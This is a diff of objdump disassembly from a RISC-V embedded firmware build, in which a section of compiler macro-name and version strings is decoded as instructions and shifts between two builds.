-    4a20:	50495f57          	0x50495f57
-    4a24:	3020                	fld	fs0,96(s0)
-    4a26:	3378                	fld	fa4,224(a4)
-    4a28:	0034                	addi	a3,sp,8
-    4a2a:	5450                	lw	a2,44(s0)
-    4a2c:	5248                	lw	a0,36(a2)
-    4a2e:	4145                	li	sp,17
-    4a30:	5f44                	lw	s1,60(a4)
-    4a32:	41455243          	fmadd.s	ft4,fa0,fs4,fs0,unknown
-    4a36:	4554                	lw	a3,12(a0)
-    4a38:	445f 5445 4341      	0x43415445445f
-    4a3e:	4548                	lw	a0,12(a0)
-    4a40:	2044                	fld	fs1,128(s0)
-    4a42:	0030                	addi	a2,sp,8
-    4a44:	5450                	lw	a2,44(s0)
-    4a46:	5248                	lw	a0,36(a2)
-    4a48:	4145                	li	sp,17
-    4a4a:	5f44                	lw	s1,60(a4)
-    4a4c:	504f4353          	0x504f4353
-    4a50:	5f45                	li	t5,-15
-    4a52:	54535953          	0x54535953
-    4a56:	4d45                	li	s10,17
-    4a58:	3120                	fld	fs0,96(a0)
-    4a5a:	4900                	lw	s0,16(a0)
-    4a5c:	544e                	lw	s0,240(sp)
-    4a5e:	465f 5341 3854      	0x38545341465f
-    4a64:	4d5f 4e49 5f00      	0x5f004e494d5f
-    4a6a:	4350                	lw	a2,4(a4)
-    4a6c:	325f 535f 4d59      	0x4d59535f325f
-    4a72:	494c                	lw	a1,20(a0)
-    4a74:	4b4e                	lw	s6,208(sp)
-    4a76:	33312053          	0x33312053
-    4a7a:	5f00                	lw	s0,56(a4)
-    4a7c:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    4a80:	455a4953          	0x455a4953
-    4a84:	545f 0020 5f5f      	0x5f5f0020545f
-    4a8a:	4c46                	lw	s8,80(sp)
-    4a8c:	3654                	fld	fa3,168(a2)
-    4a8e:	5834                	lw	a3,112(s0)
-    4a90:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    4a96:	3320                	fld	fs0,96(a4)
-    4a98:	332e                	fld	ft6,232(sp)
-    4a9a:	3236                	fld	ft4,360(sp)
-    4a9c:	3031                	jal	42a8 <__stack_size+0x3aa8>
-    4a9e:	33343133          	0x33343133
-    4aa2:	3131                	jal	46ae <__stack_size+0x3eae>
-    4aa4:	3032                	fld	ft0,296(sp)
-    4aa6:	3339                	jal	47b4 <__stack_size+0x3fb4>
-    4aa8:	3035                	jal	42d4 <__stack_size+0x3ad4>
-    4aaa:	3236                	fld	ft4,360(sp)
-    4aac:	3236                	fld	ft4,360(sp)
-    4aae:	3736                	fld	fa4,360(sp)
-    4ab0:	37313837          	lui	a6,0x37313
-    4ab4:	37313233          	0x37313233
-    4ab8:	3235                	jal	43e4 <__stack_size+0x3be4>
-    4aba:	3036                	fld	ft0,360(sp)
-    4abc:	2d65                	jal	5174 <__stack_size+0x4974>
-    4abe:	3934                	fld	fa3,112(a0)
-    4ac0:	36463233          	0x36463233
-    4ac4:	7834                	flw	fa3,112(s0)
-    4ac6:	5f00                	lw	s0,56(a4)
-    4ac8:	495f 544e 4d5f      	0x4d5f544e495f
-    4ace:	5841                	li	a6,-16
-    4ad0:	5f5f 3020 3778      	0x377830205f5f
-    4ad6:	6666                	flw	fa2,88(sp)
-    4ad8:	6666                	flw	fa2,88(sp)
-    4ada:	6666                	flw	fa2,88(sp)
-    4adc:	0066                	c.slli	zero,0x19
-    4ade:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    4ae2:	465f 4c41 5f4c      	0x5f4c4c41465f
-    4ae8:	5049                	c.li	zero,-14
-    4aea:	3020                	fld	fs0,96(s0)
-    4aec:	3278                	fld	fa4,224(a2)
-    4aee:	0034                	addi	a3,sp,8
-    4af0:	5f5f 5847 5f58      	0x5f5858475f5f
-    4af6:	4241                	li	tp,16
-    4af8:	5f49                	li	t5,-14
-    4afa:	4556                	lw	a0,84(sp)
-    4afc:	5352                	lw	t1,52(sp)
-    4afe:	4f49                	li	t5,18
-    4b00:	204e                	fld	ft0,208(sp)
-    4b02:	3031                	jal	430e <__stack_size+0x3b0e>
-    4b04:	3431                	jal	4510 <__stack_size+0x3d10>
-    4b06:	5f00                	lw	s0,56(a4)
-    4b08:	495f 544e 4c5f      	0x4c5f544e495f
-    4b0e:	4145                	li	sp,17
-    4b10:	5f385453          	0x5f385453
-    4b14:	5954                	lw	a3,52(a0)
-    4b16:	4550                	lw	a2,12(a0)
-    4b18:	5f5f 7320 6769      	0x676973205f5f
-    4b1e:	656e                	flw	fa0,216(sp)
-    4b20:	2064                	fld	fs1,192(s0)
-    4b22:	72616863          	bltu	sp,t1,5252 <__stack_size+0x4a52>
-    4b26:	4600                	lw	s0,8(a2)
-    4b28:	575f 4c52 4b43      	0x4b434c52575f
-    4b2e:	3220                	fld	fs0,96(a2)
-    4b30:	5f00                	lw	s0,56(a4)
-    4b32:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    4b36:	5f44494b          	fnmsub.q	fs2,fs0,fs4,fa1,rmm
-    4b3a:	5f54                	lw	a3,60(a4)
-    4b3c:	4544                	lw	s1,12(a0)
-    4b3e:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    4b42:	4445                	li	s0,17
-    4b44:	0020                	addi	s0,sp,8
-    4b46:	4c4c                	lw	a1,28(s0)
-    4b48:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    4b4c:	494d                	li	s2,19
-    4b4e:	004e                	c.slli	zero,0x13
-    4b50:	66706d63          	bltu	zero,t2,51ca <__stack_size+0x49ca>
-    4b54:	6e75                	lui	t3,0x1d
-    4b56:	464e0063          	beq	t3,tp,4fb6 <__stack_size+0x47b6>
-    4b5a:	4244                	lw	s1,4(a2)
-    4b5c:	5449                	li	s0,-14
-    4b5e:	73282053          	0x73282053
-    4b62:	7a69                	lui	s4,0xffffa
-    4b64:	6f65                	lui	t5,0x19
-    4b66:	2066                	fld	ft0,88(sp)
-    4b68:	6628                	flw	fa0,72(a2)
-    4b6a:	5f64                	lw	s1,124(a4)
-    4b6c:	616d                	addi	sp,sp,240
-    4b6e:	20296b73          	csrrsi	s6,hedeleg,18
-    4b72:	202a                	fld	ft0,136(sp)
-    4b74:	2938                	fld	fa4,80(a0)
-    4b76:	5f00                	lw	s0,56(a4)
-    4b78:	4e46                	lw	t3,80(sp)
-    4b7a:	4942                	lw	s2,16(sp)
-    4b7c:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
-    4b80:	3031                	jal	438c <__stack_size+0x3b8c>
-    4b82:	3030                	fld	fa2,96(s0)
-    4b84:	5f00                	lw	s0,56(a4)
-    4b86:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    4b8c:	494d                	li	s2,19
-    4b8e:	5f4e                	lw	t5,240(sp)
-    4b90:	205f 2e33 3633      	0x36332e33205f
-    4b96:	3132                	fld	ft2,296(sp)
-    4b98:	3330                	fld	fa2,96(a4)
-    4b9a:	3431                	jal	45a6 <__stack_size+0x3da6>
-    4b9c:	32313133          	0x32313133
-    4ba0:	3930                	fld	fa2,112(a0)
-    4ba2:	36303533          	0x36303533
-    4ba6:	3632                	fld	fa2,296(sp)
-    4ba8:	3632                	fld	fa2,296(sp)
-    4baa:	31383737          	lui	a4,0x31383
-    4bae:	31323337          	lui	t1,0x31323
-    4bb2:	36323537          	lui	a0,0x36323
-    4bb6:	6530                	flw	fa2,72(a0)
-    4bb8:	342d                	jal	45e2 <__stack_size+0x3de2>
-    4bba:	3339                	jal	48c8 <__stack_size+0x40c8>
-    4bbc:	4c32                	lw	s8,12(sp)
-    4bbe:	5f00                	lw	s0,56(a4)
-    4bc0:	4f50                	lw	a2,28(a4)
-    4bc2:	32584953          	0x32584953
-    4bc6:	525f 5f45 5544      	0x55445f45525f
-    4bcc:	5f50                	lw	a2,60(a4)
-    4bce:	414d                	li	sp,19
-    4bd0:	2058                	fld	fa4,128(s0)
-    4bd2:	3532                	fld	fa0,296(sp)
-    4bd4:	0035                	c.nop	13
-    4bd6:	5f5f 4c46 5f54      	0x5f544c465f5f
-    4bdc:	5645                	li	a2,-15
-    4bde:	4c41                	li	s8,16
-    4be0:	4d5f 5445 4f48      	0x4f4854454d5f
-    4be6:	5f44                	lw	s1,60(a4)
-    4be8:	205f 0030 5f5f      	0x5f5f0030205f
-    4bee:	6f727473          	csrrci	s0,0x6f7,4
-    4bf2:	676e                	flw	fa4,216(sp)
-    4bf4:	725f 6665 7265      	0x72656665725f
-    4bfa:	6e65                	lui	t3,0x19
-    4bfc:	73286563          	bltu	a6,s2,5326 <__stack_size+0x4b26>
-    4c00:	6d79                	lui	s10,0x1e
-    4c02:	612c                	flw	fa1,64(a0)
-    4c04:	696c                	flw	fa1,84(a0)
-    4c06:	7361                	lui	t1,0xffff8
-    4c08:	296d7973          	csrrci	s2,0x296,26
-    4c0c:	6520                	flw	fs0,72(a0)
-    4c0e:	7478                	flw	fa4,108(s0)
-    4c10:	7265                	lui	tp,0xffff9
-    4c12:	206e                	fld	ft0,216(sp)
-    4c14:	5f5f 7974 6570      	0x657079745f5f
-    4c1a:	2820666f          	jal	a2,ae9c <__stack_size+0xa69c>
-    4c1e:	296d7973          	csrrci	s2,0x296,26
-    4c22:	6120                	flw	fs0,64(a0)
-    4c24:	696c                	flw	fa1,84(a0)
-    4c26:	7361                	lui	t1,0xffff8
-    4c28:	206d7973          	csrrci	s2,0x206,26
-    4c2c:	5f5f 7461 7274      	0x727474615f5f
-    4c32:	6269                	lui	tp,0x1a
-    4c34:	7475                	lui	s0,0xffffd
-    4c36:	5f65                	li	t5,-7
-    4c38:	205f 2828 5f5f      	0x5f5f2828205f
-    4c3e:	6c61                	lui	s8,0x18
-    4c40:	6169                	addi	sp,sp,208
-    4c42:	205f5f73          	csrrwi	t5,htvec,30
-    4c46:	2328                	fld	fa0,64(a4)
-    4c48:	296d7973          	csrrci	s2,0x296,26
-    4c4c:	2929                	jal	5066 <__stack_size+0x4866>
-    4c4e:	5f00                	lw	s0,56(a4)
-    4c50:	575f 4e49 5f54      	0x5f544e49575f
-    4c56:	494d                	li	s2,19
-    4c58:	5f4e                	lw	t5,240(sp)
-    4c5a:	205f 5530 4300      	0x43005530205f
-    4c60:	4d5f5253          	0x4d5f5253
-    4c64:	5048                	lw	a0,36(s0)
-    4c66:	434d                	li	t1,19
-    4c68:	544e554f          	0x544e554f
-    4c6c:	5245                	li	tp,-15
-    4c6e:	2034                	fld	fa3,64(s0)
-    4c70:	3631                	jal	477c <__stack_size+0x3f7c>
-    4c72:	5f00                	lw	s0,56(a4)
-    4c74:	495f 544e 5f38      	0x5f38544e495f
-    4c7a:	414d                	li	sp,19
-    4c7c:	5f58                	lw	a4,60(a4)
-    4c7e:	205f 7830 6637      	0x66377830205f
-    4c84:	5f00                	lw	s0,56(a4)
-    4c86:	495f 544e 4c5f      	0x4c5f544e495f
-    4c8c:	4145                	li	sp,17
-    4c8e:	32335453          	0x32335453
-    4c92:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    4c98:	3020                	fld	fs0,96(s0)
-    4c9a:	3778                	fld	fa4,232(a4)
-    4c9c:	6666                	flw	fa2,88(sp)
-    4c9e:	6666                	flw	fa2,88(sp)
-    4ca0:	6666                	flw	fa2,88(sp)
-    4ca2:	4c66                	lw	s8,88(sp)
-    4ca4:	4d00                	lw	s0,24(a0)
-    4ca6:	4f5a                	lw	t5,148(sp)
-    4ca8:	454e                	lw	a0,208(sp)
-    4caa:	575f 4946 2928      	0x29284946575f
-    4cb0:	6120                	flw	fs0,64(a0)
-    4cb2:	76206d73          	csrrsi	s10,0x762,0
-    4cb6:	74616c6f          	jal	s8,1b3fc <__stack_size+0x1abfc>
-    4cba:	6c69                	lui	s8,0x1a
-    4cbc:	2065                	jal	4d64 <__stack_size+0x4564>
-    4cbe:	2228                	fld	fa0,64(a2)
-    4cc0:	696c                	flw	fa1,84(a0)
-    4cc2:	6120                	flw	fs0,64(a0)
-    4cc4:	2c30                	fld	fa2,88(s0)
-    4cc6:	3120                	fld	fs0,96(a0)
-    4cc8:	6d20223b          	0x6d20223b
-    4ccc:	6f7a                	flw	ft10,156(sp)
-    4cce:	656e                	flw	fa0,216(sp)
-    4cd0:	3a20                	fld	fs0,112(a2)
-    4cd2:	3a20                	fld	fs0,112(a2)
-    4cd4:	3a20                	fld	fs0,112(a2)
-    4cd6:	2220                	fld	fs0,64(a2)
-    4cd8:	3061                	jal	4560 <__stack_size+0x3d60>
-    4cda:	2922                	fld	fs2,8(sp)
-    4cdc:	4e46003b          	0x4e46003b
-    4ce0:	4c424e4f          	0x4c424e4f
-    4ce4:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    4ce8:	465f 4f4e 424e      	0x424e4f4e465f
-    4cee:	4f4c                	lw	a1,28(a4)
-    4cf0:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
-    4cf4:	475f 554e 4c43      	0x4c43554e475f
-    4cfa:	4b49                	li	s6,18
-    4cfc:	5f45                	li	t5,-15
-    4cfe:	5542                	lw	a0,48(sp)
-    4d00:	4c49                	li	s8,18
-    4d02:	4954                	lw	a3,20(a0)
-    4d04:	5f4e                	lw	t5,240(sp)
-    4d06:	4156                	lw	sp,84(sp)
-    4d08:	4152                	lw	sp,20(sp)
-    4d0a:	4752                	lw	a4,20(sp)
-    4d0c:	00312053          	fadd.s	ft0,ft2,ft3,rdn
-    4d10:	4b5f 616d 2078      	0x2078616d4b5f
-    4d16:	7328                	flw	fa0,96(a4)
-    4d18:	7a69                	lui	s4,0xffffa
-    4d1a:	6f65                	lui	t5,0x19
-    4d1c:	2066                	fld	ft0,88(sp)
-    4d1e:	7328                	flw	fa0,96(a4)
-    4d20:	7a69                	lui	s4,0xffffa
-    4d22:	5f65                	li	t5,-7
-    4d24:	2974                	fld	fa3,208(a0)
-    4d26:	3c20                	fld	fs0,120(s0)
-    4d28:	203c                	fld	fa5,64(s0)
-    4d2a:	53002933          	0x53002933
-    4d2e:	5a49                	li	s4,-14
-    4d30:	5f45                	li	t5,-15
-    4d32:	414d                	li	sp,19
-    4d34:	2058                	fld	fa4,128(s0)
-    4d36:	5f5f 4953 455a      	0x455a49535f5f
-    4d3c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    4d42:	5f00                	lw	s0,56(a4)
-    4d44:	415f 4d53 414e      	0x414e4d53415f
-    4d4a:	454d                	li	a0,19
-    4d4c:	6328                	flw	fa0,64(a4)
-    4d4e:	616e                	flw	ft2,216(sp)
-    4d50:	656d                	lui	a0,0x1b
-    4d52:	2029                	jal	4d5c <__stack_size+0x455c>
-    4d54:	5f5f 5358 5254      	0x525453585f5f
-    4d5a:	4e49                	li	t3,18
-    4d5c:	5f282047          	fmsub.q	ft0,fa6,fs2,fa1,rdn
-    4d60:	555f 4553 5f52      	0x5f524553555f
-    4d66:	414c                	lw	a1,4(a0)
-    4d68:	4542                	lw	a0,16(sp)
-    4d6a:	5f4c                	lw	a1,60(a4)
-    4d6c:	5250                	lw	a2,36(a2)
-    4d6e:	4645                	li	a2,17
-    4d70:	5849                	li	a6,-14
-    4d72:	5f5f 2029 6e63      	0x6e6320295f5f
-    4d78:	6d61                	lui	s10,0x18
-    4d7a:	0065                	c.nop	25
-    4d7c:	465f 5845 4c43      	0x4c435845465f
-    4d82:	3020                	fld	fs0,96(s0)
-    4d84:	3078                	fld	fa4,224(s0)
-    4d86:	3038                	fld	fa4,96(s0)
-    4d88:	0030                	addi	a2,sp,8
-    4d8a:	5f5f 695f 746e      	0x746e695f5f5f
-    4d90:	6c5f 6165 7473      	0x747361656c5f
-    4d96:	3631                	jal	48a2 <__stack_size+0x40a2>
-    4d98:	745f 645f 6665      	0x6665645f745f
-    4d9e:	6e69                	lui	t3,0x1a
-    4da0:	6465                	lui	s0,0x19
-    4da2:	3120                	fld	fs0,96(a0)
-    4da4:	5300                	lw	s0,32(a4)
-    4da6:	4545                	li	a0,17
-    4da8:	4e455f4b          	fnmsub.q	ft10,fa0,ft4,fs1,unknown
-    4dac:	2044                	fld	fs1,128(s0)
-    4dae:	0032                	c.slli	zero,0xc
-    4db0:	20554e47          	fmsub.s	ft8,fa0,ft5,ft4,rmm
-    4db4:	20373143          	fmadd.s	ft2,fa4,ft3,ft4,rup
-    4db8:	3031                	jal	45c4 <__stack_size+0x3dc4>
-    4dba:	312e                	fld	ft2,232(sp)
-    4dbc:	302e                	fld	ft0,232(sp)
-    4dbe:	2d20                	fld	fs0,88(a0)
-    4dc0:	616d                	addi	sp,sp,240
-    4dc2:	6372                	flw	ft6,28(sp)
-    4dc4:	3d68                	fld	fa0,248(a0)
-    4dc6:	7672                	flw	fa2,60(sp)
-    4dc8:	6d693233          	0x6d693233
-    4dcc:	6361                	lui	t1,0x18
-    4dce:	2d20                	fld	fs0,88(a0)
-    4dd0:	616d                	addi	sp,sp,240
-    4dd2:	6962                	flw	fs2,24(sp)
-    4dd4:	693d                	lui	s2,0xf
-    4dd6:	706c                	flw	fa1,100(s0)
-    4dd8:	2d203233          	0x2d203233
-    4ddc:	636d                	lui	t1,0x1b
-    4dde:	6f6d                	lui	t5,0x1b
-    4de0:	6564                	flw	fs1,76(a0)
-    4de2:	3d6c                	fld	fa1,248(a0)
-    4de4:	656d                	lui	a0,0x1b
-    4de6:	6164                	flw	fs1,68(a0)
-    4de8:	796e                	flw	fs2,248(sp)
-    4dea:	2d20                	fld	fs0,88(a0)
-    4dec:	736d                	lui	t1,0xffffb
-    4dee:	616d                	addi	sp,sp,240
-    4df0:	6c6c                	flw	fa1,92(s0)
-    4df2:	642d                	lui	s0,0xb
-    4df4:	7461                	lui	s0,0xffff8
-    4df6:	2d61                	jal	548e <__stack_size+0x4c8e>
-    4df8:	696c                	flw	fa1,84(a0)
-    4dfa:	696d                	lui	s2,0x1b
-    4dfc:	3d74                	fld	fa3,248(a0)
-    4dfe:	3820                	fld	fs0,112(s0)
-    4e00:	2d20                	fld	fs0,88(a0)
-    4e02:	746d                	lui	s0,0xffffb
-    4e04:	6e75                	lui	t3,0x1d
-    4e06:	3d65                	jal	4cbe <__stack_size+0x44be>
-    4e08:	6f72                	flw	ft10,28(sp)
-    4e0a:	74656b63          	bltu	a0,t1,5560 <__stack_size+0x4d60>
-    4e0e:	2d20                	fld	fs0,88(a0)
-    4e10:	2d203367          	0x2d203367
-    4e14:	2d20734f          	0x2d20734f
-    4e18:	6666                	flw	fa2,88(sp)
-    4e1a:	6e75                	lui	t3,0x1d
-    4e1c:	6f697463          	bgeu	s2,s6,5504 <__stack_size+0x4d04>
-    4e20:	2d6e                	fld	fs10,216(sp)
-    4e22:	74636573          	csrrsi	a0,0x746,6
-    4e26:	6f69                	lui	t5,0x1a
-    4e28:	736e                	flw	ft6,248(sp)
-    4e2a:	2d20                	fld	fs0,88(a0)
-    4e2c:	6466                	flw	fs0,88(sp)
-    4e2e:	7461                	lui	s0,0xffff8
-    4e30:	2d61                	jal	54c8 <__stack_size+0x4cc8>
-    4e32:	74636573          	csrrsi	a0,0x746,6
-    4e36:	6f69                	lui	t5,0x1a
-    4e38:	736e                	flw	ft6,248(sp)
-    4e3a:	2d20                	fld	fs0,88(a0)
-    4e3c:	6666                	flw	fa2,88(sp)
-    4e3e:	6572                	flw	fa0,28(sp)
-    4e40:	7365                	lui	t1,0xffff9
-    4e42:	6174                	flw	fa3,68(a0)
-    4e44:	646e                	flw	fs0,216(sp)
-    4e46:	6e69                	lui	t3,0x1a
-    4e48:	535f0067          	jr	1333(t5) # 1a535 <__stack_size+0x19d35>
-    4e4c:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
-    4e50:	4250                	lw	a2,4(a2)
-    4e52:	43415f53          	0x43415f53
-    4e56:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-    4e5a:	4954                	lw	a3,20(a0)
-    4e5c:	474e                	lw	a4,208(sp)
-    4e5e:	3120                	fld	fs0,96(a0)
-    4e60:	3431                	jal	486c <__stack_size+0x406c>
-    4e62:	5f00                	lw	s0,56(a4)
-    4e64:	5f535953          	0x5f535953
-    4e68:	455a4953          	0x455a4953
-    4e6c:	545f 485f 0020      	0x20485f545f
-    4e72:	5f5f 4e49 4d54      	0x4d544e495f5f
-    4e78:	5841                	li	a6,-16
-    4e7a:	435f 6328 2029      	0x20296328435f
-    4e80:	23232063          	0x23232063
-    4e84:	4c20                	lw	s0,88(s0)
-    4e86:	004c                	addi	a1,sp,4
-    4e88:	5f5f 4955 544e      	0x544e49555f5f
-    4e8e:	465f 5341 3154      	0x31545341465f
+    445a:	5f00                	lw	s0,56(a4)
+    445c:	705f 7274 6176      	0x61767274705f
+    4462:	756c                	flw	fa1,108(a0)
+    4464:	2065                	jal	450c <__stack_size+0x3d0c>
+    4466:	4300                	lw	s0,0(a4)
+    4468:	4d5f5253          	0x4d5f5253
+    446c:	41524353          	0x41524353
+    4470:	4354                	lw	a3,4(a4)
+    4472:	2048                	fld	fa0,128(s0)
+    4474:	49550033          	0x49550033
+    4478:	544e                	lw	s0,240(sp)
+    447a:	3436                	fld	fs0,360(sp)
+    447c:	4d5f 5841 5f20      	0x5f2058414d5f
+    4482:	555f 4e49 3654      	0x36544e49555f
+    4488:	5f34                	lw	a3,120(a4)
+    448a:	414d                	li	sp,19
+    448c:	5f58                	lw	a4,60(a4)
+    448e:	005f 4e49 5f54      	0x5f544e49005f
+    4494:	454c                	lw	a1,12(a0)
+    4496:	5341                	li	t1,-16
+    4498:	3854                	fld	fa3,176(s0)
+    449a:	4d5f 4e49 2820      	0x28204e494d5f
+    44a0:	492d                	li	s2,11
+    44a2:	544e                	lw	s0,240(sp)
+    44a4:	4c5f 4145 5453      	0x545341454c5f
+    44aa:	5f38                	lw	a4,120(a4)
+    44ac:	414d                	li	sp,19
+    44ae:	2058                	fld	fa4,128(s0)
+    44b0:	202d                	jal	44da <__stack_size+0x3cda>
+    44b2:	2931                	jal	48ce <__stack_size+0x40ce>
+    44b4:	5f00                	lw	s0,56(a4)
+    44b6:	535f4353          	0x535f4353
+    44ba:	5254                	lw	a3,36(a2)
+    44bc:	4145                	li	sp,17
+    44be:	5f4d                	li	t5,-13
+    44c0:	414d                	li	sp,19
+    44c2:	2058                	fld	fa4,128(s0)
+    44c4:	3031                	jal	3cd0 <__stack_size+0x34d0>
+    44c6:	0030                	addi	a2,sp,8
+    44c8:	5f5f 4e49 4d54      	0x4d544e495f5f
+    44ce:	5841                	li	a6,-16
+    44d0:	575f 4449 4854      	0x48544449575f
+    44d6:	5f5f 3620 0034      	0x3436205f5f
+    44dc:	5f5f 4e47 4355      	0x43554e475f5f
+    44e2:	565f 5f41 494c      	0x494c5f41565f
+    44e8:	00205453          	fadd.s	fs0,ft0,ft2,unknown
+    44ec:	5f5f 4e47 4355      	0x43554e475f5f
+    44f2:	494c                	lw	a1,20(a0)
+    44f4:	5f5f454b          	fnmsub.q	fa0,ft10,fs5,fa1,rmm
+    44f8:	535f 4345 4954      	0x49544345535f
+    44fe:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    4502:	5f00                	lw	s0,56(a4)
+    4504:	69647473          	csrrci	s0,0x696,8
+    4508:	5f6e                	lw	t5,248(sp)
+    450a:	2872                	fld	fa6,280(sp)
+    450c:	2978                	fld	fa4,208(a0)
+    450e:	2820                	fld	fs0,80(s0)
+    4510:	7828                	flw	fa0,112(s0)
+    4512:	2d29                	jal	4b2c <__stack_size+0x432c>
+    4514:	5f3e                	lw	t5,236(sp)
+    4516:	69647473          	csrrci	s0,0x696,8
+    451a:	296e                	fld	fs2,216(sp)
+    451c:	4600                	lw	s0,8(a2)
+    451e:	4544                	lw	s1,12(a0)
+    4520:	4546                	lw	a0,80(sp)
+    4522:	2052                	fld	ft0,272(sp)
+    4524:	465f 4544 4546      	0x45464544465f
+    452a:	0052                	c.slli	zero,0x14
+    452c:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4532:	454c                	lw	a1,12(a0)
+    4534:	5341                	li	t1,-16
+    4536:	3654                	fld	fa3,168(a2)
+    4538:	5f34                	lw	a3,120(a4)
+    453a:	54444957          	0x54444957
+    453e:	5f48                	lw	a0,60(a4)
+    4540:	205f 3436 5f00      	0x5f003436205f
+    4546:	755f 6e69 3674      	0x36746e69755f
+    454c:	5f34                	lw	a3,120(a4)
+    454e:	0074                	addi	a3,sp,12
+    4550:	465f 4944 4552      	0x45524944465f
+    4556:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    455a:	2059                	jal	45e0 <__stack_size+0x3de0>
+    455c:	7830                	flw	fa2,112(s0)
+    455e:	3032                	fld	ft0,296(sp)
+    4560:	3030                	fld	fa2,96(s0)
+    4562:	3030                	fld	fa2,96(s0)
+    4564:	5f00                	lw	s0,56(a4)
+    4566:	4e5f 4c55 414c      	0x414c4c554e5f
+    456c:	4942                	lw	s2,16(sp)
+    456e:	494c                	lw	a1,20(a0)
+    4570:	5954                	lw	a3,52(a0)
+    4572:	505f 4152 4d47      	0x4d474152505f
+    4578:	5f41                	li	t5,-16
+    457a:	4f50                	lw	a2,28(a4)
+    457c:	2050                	fld	fa2,128(s0)
+    457e:	5f00                	lw	s0,56(a4)
+    4580:	454e                	lw	a0,208(sp)
+    4582:	42494c57          	0x42494c57
+    4586:	565f 5245 4953      	0x49535245565f
+    458c:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
+    4590:	5f5f 3120 5000      	0x500031205f5f
+    4596:	435f4d57          	0x435f4d57
+    459a:	544e554f          	0x544e554f
+    459e:	3020                	fld	fs0,96(s0)
+    45a0:	3078                	fld	fa4,224(s0)
+    45a2:	0038                	addi	a4,sp,8
+    45a4:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    45a8:	495f 504e 5455      	0x5455504e495f
+    45ae:	565f 4c41 3020      	0x30204c41565f
+    45b4:	3078                	fld	fa4,224(s0)
+    45b6:	0030                	addi	a2,sp,8
+    45b8:	5f5f 656e 6465      	0x6465656e5f5f
+    45be:	775f 6e69 5f74      	0x5f746e69775f
+    45c4:	0074                	addi	a3,sp,12
+    45c6:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    45ca:	534d                	li	t1,-13
+    45cc:	4154                	lw	a3,4(a0)
+    45ce:	5554                	lw	a3,44(a0)
+    45d0:	00302053          	fadd.s	ft0,ft0,ft3,rdn
+    45d4:	5f5f 5441 4d4f      	0x4d4f54415f5f
+    45da:	4349                	li	t1,18
+    45dc:	525f 4c45 5841      	0x58414c45525f
+    45e2:	4445                	li	s0,17
+    45e4:	3020                	fld	fs0,96(s0)
+    45e6:	5f00                	lw	s0,56(a4)
+    45e8:	565f4353          	0x565f4353
+    45ec:	5f36                	lw	t5,108(sp)
+    45ee:	504c                	lw	a1,36(s0)
+    45f0:	4942                	lw	s2,16(sp)
+    45f2:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
+    45f6:	4246                	lw	tp,80(sp)
+    45f8:	4749                	li	a4,18
+    45fa:	5f20                	lw	s0,120(a4)
+    45fc:	565f4353          	0x565f4353
+    4600:	504c5f37          	lui	t5,0x504c5
+    4604:	4942                	lw	s2,16(sp)
+    4606:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
+    460a:	4246                	lw	tp,80(sp)
+    460c:	4749                	li	a4,18
+    460e:	5300                	lw	s0,32(a4)
+    4610:	495f 4753 4449      	0x44494753495f
+    4616:	3020                	fld	fs0,96(s0)
+    4618:	3030                	fld	fa2,96(s0)
+    461a:	3032                	fld	ft0,296(sp)
+    461c:	3030                	fld	fa2,96(s0)
+    461e:	5500                	lw	s0,40(a0)
+    4620:	4e49                	li	t3,18
+    4622:	5f54                	lw	a3,60(a4)
+    4624:	4146                	lw	sp,80(sp)
+    4626:	36315453          	0x36315453
+    462a:	4d5f 5841 5f20      	0x5f2058414d5f
+    4630:	555f 4e49 5f54      	0x5f544e49555f
+    4636:	4146                	lw	sp,80(sp)
+    4638:	36315453          	0x36315453
+    463c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4642:	5f00                	lw	s0,56(a4)
+    4644:	5f535953          	0x5f535953
+    4648:	545f 4d49 5645      	0x56454d49545f
+    464e:	4c41                	li	s8,16
+    4650:	485f 205f 5300      	0x5300205f485f
+    4656:	44454843          	0x44454843
+    465a:	4f5f 4854 5245      	0x524548544f5f
+    4660:	3020                	fld	fs0,96(s0)
+    4662:	5f00                	lw	s0,56(a4)
+    4664:	4f49                	li	t5,18
+    4666:	424e                	lw	tp,208(sp)
+    4668:	2046                	fld	ft0,80(sp)
+    466a:	0032                	c.slli	zero,0xc
+    466c:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    4670:	484d                	li	a6,19
+    4672:	4d50                	lw	a2,28(a0)
+    4674:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    4678:	4554                	lw	a3,12(a0)
+    467a:	3252                	fld	ft4,304(sp)
+    467c:	2038                	fld	fa4,64(s0)
+    467e:	3432                	fld	fs0,296(sp)
+    4680:	5f00                	lw	s0,56(a4)
+    4682:	505f 534f 5849      	0x5849534f505f
+    4688:	565f 5349 4249      	0x42495349565f
+    468e:	454c                	lw	a1,12(a0)
+    4690:	3220                	fld	fs0,96(a2)
+    4692:	3030                	fld	fa2,96(s0)
+    4694:	3038                	fld	fa4,96(s0)
+    4696:	0039                	c.nop	14
+    4698:	5f5f 454e 4c57      	0x4c57454e5f5f
+    469e:	4249                	li	tp,18
+    46a0:	5f5f 3320 5f00      	0x5f0033205f5f
+    46a6:	545f4353          	0x545f4353
+    46aa:	4152                	lw	sp,20(sp)
